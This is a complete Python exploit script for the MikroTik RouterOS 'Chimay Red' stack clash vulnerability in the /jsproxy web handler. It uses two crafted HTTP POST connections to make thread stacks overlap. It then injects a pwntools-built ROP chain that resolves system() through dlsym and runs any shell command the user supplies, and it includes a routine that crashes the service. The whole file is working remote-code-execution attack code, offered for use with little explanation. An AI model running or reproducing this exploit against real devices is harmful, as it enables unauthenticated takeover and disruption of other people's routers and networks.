#!/usr/bin/env python2
# Mikrotik Chimay Red Stack Clash Exploit by wsxarcher (based on BigNerd95 POC)
# tested on RouterOS 6.38.4 (x86)
# ASLR enabled on libs only
# DEP enabled
import socket, time, sys, struct
from pwn import *
import ropgadget
AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!
ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain
context(arch="i386", os="linux", log_level="WARNING")
gadgets = dict()
plt = dict()
strings = dict()
system_chunks = []
cmd_chunks = []
def makeHeader(num):
return bytes("POST /jsproxy HTTP/1.1\r\nContent-Length: ") + bytes(str(num)) + bytes("\r\n\r\n")
def makeSocket(ip, port):
s = socket.socket()
try:
s.connect((ip, port))
except:
print("Error connecting to socket")
sys.exit(-1)
print("Connected")
time.sleep(0.5)
return s
def socketSend(s, data):
try:
s.send(data)
except:
print("Error sending data")
sys.exit(-1)
print("Sent")
time.sleep(0.5)
def ropCall(function_address, *arguments):
payload = struct.pack('<L', function_address)
num_arg = len(arguments)
if num_arg > 0:
if num_arg == 1:
ret_gadget = gadgets['p']
elif num_arg == 2:
ret_gadget = gadgets['pp']
elif num_arg == 3:
ret_gadget = gadgets['ppp']
elif num_arg == 4:
ret_gadget = gadgets['pppp']
else:
raise
payload += struct.pack('<L', ret_gadget)
for arg in arguments:
payload += struct.pack('<L', arg)
return payload
# pwntools filters out JOP gadgets
# https://github.com/Gallopsled/pwntools/blob/5d537a6189be5131e63144e20556302606c5895e/pwnlib/rop/rop.py#L1074
def ropSearchJmp(elf, instruction):
oldargv = sys.argv
sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'jmp']
args = ropgadget.args.Args().getArgs()
core = ropgadget.core.Core(args)
core.do_binary(elf.path)
core.do_load(0)
sys.argv = oldargv
for gadget in core._Core__gadgets:
address = gadget['vaddr'] - elf.load_addr + elf.address
if gadget['gadget'] == instruction:
return address
raise
def loadOffsets(binary, shellCmd):
elf = ELF(binary)
rop = ROP(elf)
if len([_ for _ in elf.search("pthread_attr_setstacksize")]) > 0:
global AST_STACKSIZE
AST_STACKSIZE = ROS_STACKSIZE
# www PLT symbols
plt["strncpy"] = elf.plt['strncpy']
plt["dlsym"] = elf.plt['dlsym']
# Gadgets to clean the stack from arguments
gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address
gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address
gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address
gadgets['p'] = rop.search(regs=["ebp"]).address
# Gadget to jump on the result of dlsym (address of system)
gadgets['jeax'] = ropSearchJmp(elf, "jmp eax")
system_chunks.extend(searchStringChunksLazy(elf, "system\x00"))
cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00"))
# get the address of the first writable segment to store strings
writable_address = elf.writable_segments[0].header.p_paddr
strings['system'] = writable_address
strings['cmd'] = writable_address + 0xf
def generateStrncpyChain(dst, chunks):
chain = ""
offset = 0
for (address, length) in chunks:
chain += ropCall(plt["strncpy"], dst + offset, address, length)
offset += length
return chain
# only search for single chars
def searchStringChunksLazy(elf, string):
chunks = []
for b in string:
res = [_ for _ in elf.search(b)]
if len(res) > 0:
chunks.append((res[0], 1))
else:
raise
if len(string) != len(chunks):
raise
return chunks
# [bugged, some problem with dots, not used]
# search chunks of string
def searchStringChunks(elf, string):
chunks = []
total = len(string)
if string == "":
raise
looking = string
while string != "":
results = [_ for _ in elf.search(looking)]
if len(results) > 0:
chunks.append((results[0], len(looking)))
string = string[len(looking):]
looking = string
else: # search failed
looking = looking[:-1] # search again removing last char
check_length = 0
for (address, length) in chunks:
check_length = check_length + length
if check_length == total:
return chunks
else:
raise
def buildROP(binary, shellCmd):
loadOffsets(binary, shellCmd)
# ROP chain
exploit = generateStrncpyChain(strings['system'], system_chunks) # w_segment = "system"
exploit += generateStrncpyChain(strings['cmd'], cmd_chunks) # w_segment = "bash cmd"
exploit += ropCall(plt["dlsym"], 0, strings['system']) # dlsym(0, "system"), eax = libc.system
exploit += ropCall(gadgets['jeax'], strings['cmd']) # system("cmd")
# The server is automatically restarted after 3 secs, so we make it crash with a random address
exploit += struct.pack('<L', 0x13371337)
return exploit
def stackClash(ip, port, ropChain):
print("Opening 2 sockets")
# 1) Start 2 threads
# open 2 socket so 2 threads are created
s1 = makeSocket(ip, port) # socket 1, thread A
s2 = makeSocket(ip, port) # socket 2, thread B
print("Stack clash...")
# 2) Stack Clash
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
# 2.2) send some bytes as post data to socket 1 (thread A)
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
print("Sending payload")
# 3) Send ROP chain
socketSend(s1, ropChain) # thread A writes the ROP chain in the stack of thread B
print("Starting exploit")
# 4) Start ROP chain
s2.close() # close socket 2 to return from the function of thread B and start ROP chain
print("Done!")
def crash(ip, port):
print("Crash...")
s = makeSocket(ip, port)
socketSend(s, makeHeader(-1))
socketSend(s, b'A' * 0x1000)
s.close()
time.sleep(2.5) # www takes up to 3 seconds to restart
if __name__ == "__main__":
if len(sys.argv) == 5:
ip = sys.argv[1]
port = int(sys.argv[2])
binary = sys.argv[3]
shellCmd = sys.argv[4]
print("Building ROP chain...")
ropChain = buildROP(binary, shellCmd)
print("The ROP chain is " + str(len(ropChain)) + " bytes long (" + str(ROP_SPACE) + " bytes available)")
crash(ip, port) # should make stack clash more reliable
stackClash(ip, port, ropChain)
else:
print("Usage: ./StackClashROPsystem.py IP PORT binary shellcommand")
